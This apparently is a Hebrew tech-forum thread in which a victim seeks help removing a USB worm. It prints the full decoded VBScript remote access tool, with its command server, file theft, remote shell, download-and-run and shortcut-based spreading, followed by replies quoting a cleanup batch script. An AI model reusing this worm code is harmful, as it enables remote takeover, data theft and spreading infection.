דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 183 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • בנימין מחשביםב מנותק
    בנימין מחשביםב מנותק
    בנימין מחשבים
    כתב נערך לאחרונה על ידי בנימין מחשבים
    #5

    @cfopuser @מתכנת-חובב @מישהו12 (kingyos לא מעז לתייג) וכל חובבי הווירוסים
    עריכה - אין כמו ביה"ז! רק תייגתי וכולכם מגיעים בשורה לעזור.. שאפו!! 🤩

    תגובה 1 תגובה אחרונה
    1
    • מישהו12מ מחובר
      מישהו12מ מחובר
      מישהו12
      מדריכים
      כתב נערך לאחרונה על ידי
      #6

      אם אני מבין נכון....

      https://mitmachim.top/topic/77/מחיקת-וירוס-קיצורי-הדרך-אחת-ולתמיד

      הבלוג שלי
      https://aiv-dev.com/he-IL/

      תגובה 1 תגובה אחרונה
      1
      • ר רנדומלי

        בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

        cmd /c hrxxryydxo.vbs && start explorer [file name]
        

        הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

        לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

        תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

        לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

        z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
        

        בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
        לאחר פיענוח הקידוד התקבל הקוד הבא:
        אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

        e
        '<[ recoder : houdini (c) skype : houdini-fx ]>
        
        '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
        
        host = "khattab.no-ip.biz"
        port = 5550
        installdir = "%temp%"
        lnkfile = true
        lnkfolder = true
        
        '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
        
        dim shellobj 
        set shellobj = wscript.createobject("wscript.shell")
        dim filesystemobj
        set filesystemobj = createobject("scripting.filesystemobject")
        dim httpobj
        set httpobj = createobject("msxml2.xmlhttp")
        
        '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
        
        installname = wscript.scriptname
        startup = shellobj.specialfolders ("startup") & "\"
        installdir = shellobj.expandenvironmentstrings(installdir) & "\"
        if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
        spliter = "<" & "|" & ">"
        sleep = 5000 
        dim response
        dim cmd
        dim param
        info = ""
        usbspreading = ""
        startdate = ""
        dim oneonce
        
        '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
        on error resume next
        
        instance
        while true
        
        install
        
        response = ""
        response = post ("is-ready","")
        cmd = split (response,spliter)
        select case cmd (0)
        case "excecute"
              param = cmd (1)
              execute param
        case "update"
              param = cmd (1)
              oneonce.close
              set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
              oneonce.write param
              oneonce.close
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
              wscript.quit 
        case "uninstall"
              uninstall
        case "send"
              download cmd (1),cmd (2)
        case "site-send"
              sitedownloader cmd (1),cmd (2)
        case "recv"
              param = cmd (1)
              upload (param)
        case  "enum-driver"
              post "is-enum-driver",enumdriver  
        case  "enum-faf"
              param = cmd (1)
              post "is-enum-faf",enumfaf (param)
        case  "enum-process"
              post "is-enum-process",enumprocess   
        case  "cmd-shell"
              param = cmd (1)
              post "is-cmd-shell",cmdshell (param)  
        case  "delete"
              param = cmd (1)
              deletefaf (param) 
        case  "exit-process"
              param = cmd (1)
              exitprocess (param) 
        case  "sleep"
              param = cmd (1)
              sleep = eval (param)        
        end select
        
        wscript.sleep sleep
        
        wend
        
        sub install
        on error resume next
        dim lnkobj
        dim filename
        dim foldername
        dim fileicon
        dim foldericon
        
        upstart
        for each drive in filesystemobj.drives
        
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
            end if
            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                if not lnkfile then exit for
                if  instr (file.name,".") then
                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                        file.attributes = 2+4
                        if  ucase (file.name) <> ucase (installname) then
                            filename = split(file.name,".")
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                            if  instr (fileicon,",") = 0 then
                                lnkobj.iconlocation = file.path
                            else 
                                lnkobj.iconlocation = fileicon
                            end if
                            lnkobj.save()
                        end if
                    end if
                end if
            next
            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                if not lnkfolder then exit for
                folder.attributes = 2+4
                foldername = folder.name
                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                lnkobj.windowstyle = 7
                lnkobj.targetpath = "cmd.exe"
                lnkobj.workingdirectory = ""
                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                if  instr (foldericon,",") = 0 then
                    lnkobj.iconlocation = folder.path
                else 
                    lnkobj.iconlocation = foldericon
                end if
                lnkobj.save()
            next
        end If
        end If
        end if
        next
        err.clear
        end sub
        
        sub uninstall
        on error resume next
        dim filename
        dim foldername
        
        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
        filesystemobj.deletefile startup & installname ,true
        filesystemobj.deletefile wscript.scriptfullname ,true
        
        for  each drive in filesystemobj.drives
        if  drive.isready = true then
        if  drive.freespace  > 0 then
        if  drive.drivetype  = 1 then
            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                 on error resume next
                 if  instr (file.name,".") then
                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                         file.attributes = 0
                         if  ucase (file.name) <> ucase (installname) then
                             filename = split(file.name,".")
                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                         else
                             filesystemobj.deletefile (drive.path & "\" & file.name)
                         end If
                     else
                         filesystemobj.deletefile (file.path) 
                     end if
                 end if
             next
             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                 folder.attributes = 0
             next
        end if
        end if
        end if
        next
        wscript.quit
        end sub
        
        function post (cmd ,param)
        
        post = param
        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
        httpobj.setrequestheader "user-agent:",information
        httpobj.send param
        post = httpobj.responsetext
        end function
        
        function information
        on error resume next
        if  inf = "" then
            inf = hwid & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
        
            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
            set os = root.execquery ("select * from win32_operatingsystem")
            for each osinfo in os
               inf = inf & osinfo.caption & spliter  
               exit for
            next
            inf = inf & "plus" & spliter
            inf = inf & security & spliter
            inf = inf & usbspreading
            information = inf  
        else
            information = inf
        end if
        end function
        
        sub upstart ()
        on error resume Next
        
        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
        
        end sub
        
        function hwid
        on error resume next
        
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set disks = root.execquery ("select * from win32_logicaldisk")
        for each disk in disks
            if  disk.volumeserialnumber <> "" then
                hwid = disk.volumeserialnumber
                exit for
            end if
        next
        end function
        
        function security 
        on error resume next
        
        security = ""
        
        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
        for each objitem in colitems
            versionstr = split (objitem.version,".")
        next
        versionstr = split (colitems.version,".")
        osversion = versionstr (0) & "."
        for  x = 1 to ubound (versionstr)
             osversion = osversion &  versionstr (i)
        next
        osversion = eval (osversion)
        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
        
        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
        
        for each objantivirus in colantivirus
            security  = security  & objantivirus.displayname & " ."
        next
        if security  = "" then security  = "nan-av"
        end function
        
        function instance
        on error resume next
        
        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
        if usbspreading = "" then
           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
              usbspreading = "true - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
           else
              usbspreading = "false - " & date
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
        
           end if
        end If
        
        
        upstart
        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
            wscript.quit 
        end If
        err.clear
        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
        if  err.number > 0 then wscript.quit
        end function
        
        sub sitedownloader (fileurl,filename)
        
        strlink = fileurl
        strsaveto = installdir & filename
        set objhttpdownload = createobject("msxml2.xmlhttp" )
        objhttpdownload.open "get", strlink, false
        objhttpdownload.send
        
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
         
        if objhttpdownload.status = 200 then
           dim  objstreamdownload
           set  objstreamdownload = createobject("adodb.stream")
           with objstreamdownload
                .type = 1 
                .open
                .write objhttpdownload.responsebody
                .savetofile strsaveto
                .close
           end with
           set objstreamdownload = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        sub download (fileurl,filedir)
        
        if filedir = "" then 
           filedir = installdir
        end if
        
        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
        set objhttpdownload = createobject("msxml2.xmlhttp")
        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
        objhttpdownload.send ""
             
        set objfsodownload = createobject ("scripting.filesystemobject")
        if  objfsodownload.fileexists (strsaveto) then
            objfsodownload.deletefile (strsaveto)
        end if
        if  objhttpdownload.status = 200 then
            dim  objstreamdownload
            set  objstreamdownload = createobject("adodb.stream")
            with objstreamdownload 
                 .type = 1 
                 .open
                 .write objhttpdownload.responsebody
                 .savetofile strsaveto
                 .close
            end with
            set objstreamdownload  = nothing
        end if
        if objfsodownload.fileexists(strsaveto) then
           shellobj.run objfsodownload.getfile (strsaveto).shortpath
        end if 
        end sub
        
        function upload (fileurl)
        
        dim  httpobj,objstreamuploade,buffer
        set  objstreamuploade = createobject("adodb.stream")
        with objstreamuploade 
             .type = 1 
             .open
             .loadfromfile fileurl
             buffer = .read
             .close
        end with
        set objstreamdownload = nothing
        set httpobj = createobject("msxml2.xmlhttp")
        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
        httpobj.send buffer
        end function
        
        function enumdriver ()
        
        for  each drive in filesystemobj.drives
        if   drive.isready = true then
             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
        end if
        next
        end Function
        
        function enumfaf (enumdir)
        
        enumfaf = enumdir & spliter
        for  each folder in filesystemobj.getfolder (enumdir).subfolders
             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
        next
        
        for  each file in filesystemobj.getfolder (enumdir).files
             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
        
        next
        end function
        
        function enumprocess ()
        
        on error resume next
        
        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
        set colitems = objwmiservice.execquery("select * from win32_process",,48)
        
        dim objitem
        for each objitem in colitems
            enumprocess = enumprocess & objitem.name & "|"
            enumprocess = enumprocess & objitem.processid & "|"
            enumprocess = enumprocess & objitem.executablepath & spliter
        next
        end function
        
        sub exitprocess (pid)
        on error resume next
        
        shellobj.run "taskkill /F /T /PID " & pid,7,true
        end sub
        
        sub deletefaf (url)
        on error resume next
        
        filesystemobj.deletefile url
        filesystemobj.deletefolder url
        
        end sub
        
        function cmdshell (cmd)
        
        dim httpobj,oexec,readallfromany
        
        set oexec = shellobj.exec ("%comspec% /c " & cmd)
        if not oexec.stdout.atendofstream then
           readallfromany = oexec.stdout.readall
        elseif not oexec.stderr.atendofstream then
           readallfromany = oexec.stderr.readall
        else 
           readallfromany = ""
        end if
        
        cmdshell = readallfromany
        end function
        
        cfopuserC מנותק
        cfopuserC מנותק
        cfopuser
        כתב נערך לאחרונה על ידי cfopuser
        #7

        עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

        (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
        ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
        אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

        מתכנת חובבמ תגובה 1 תגובה אחרונה
        1
        • cfopuserC cfopuser

          עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

          (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
          ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
          אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

          מתכנת חובבמ מנותק
          מתכנת חובבמ מנותק
          מתכנת חובב
          מדריכים
          כתב נערך לאחרונה על ידי מתכנת חובב
          #8

          @cfopuser הוא לא יטפל בזה
          עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
          מה- startup הוא מנקה רק את אלו

          for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
              if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
          

          כנ"ל מהרגיסטרי

          ::Clean Registry / Startup
          For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
          	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
          		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
          			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
          			)
          		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
          			reg delete %%~P /v "%%~A" /f		
          			)
          		reg query %%~P /s
          		)
          	)
          for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
          	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
          		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
          	)
          	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
          		reg delete %%~P /v "%%~A" /f
          		)
          	reg query %%~P /s
          	)
          

          וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

          ::internal drives
          for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
          	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
          		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
          		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
          		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
          		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
          		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
          		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
          		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
          		)
          	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
          		attrib -s -h -r "%%X\%%A"
          		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
          		)
          	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
          		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
          			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
          			)
          		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
          			attrib -s -h -r "%%X\%%D\%%A"
          			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
          			)
          		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
          		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
          		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
          		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
          		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
          		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
          		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
          		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
          		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
          		)
          	set "AutoHK.NAPd="
          	)
          

          המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

          cfopuserC תגובה 1 תגובה אחרונה
          1
          • מתכנת חובבמ מתכנת חובב

            @cfopuser הוא לא יטפל בזה
            עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
            מה- startup הוא מנקה רק את אלו

            for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
            

            כנ"ל מהרגיסטרי

            ::Clean Registry / Startup
            For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
            	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
            		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
            			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
            			)
            		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
            			reg delete %%~P /v "%%~A" /f		
            			)
            		reg query %%~P /s
            		)
            	)
            for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
            	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
            		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
            	)
            	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
            		reg delete %%~P /v "%%~A" /f
            		)
            	reg query %%~P /s
            	)
            

            וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

            ::internal drives
            for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
            	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
            		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
            		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
            		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
            		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
            		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
            		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
            		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
            		)
            	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
            		attrib -s -h -r "%%X\%%A"
            		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
            		)
            	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
            		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
            			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
            			)
            		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
            			attrib -s -h -r "%%X\%%D\%%A"
            			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
            			)
            		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
            		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
            		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
            		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
            		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
            		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
            		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
            		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
            		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
            		)
            	set "AutoHK.NAPd="
            	)
            

            המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

            cfopuserC מנותק
            cfopuserC מנותק
            cfopuser
            כתב נערך לאחרונה על ידי
            #9

            @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

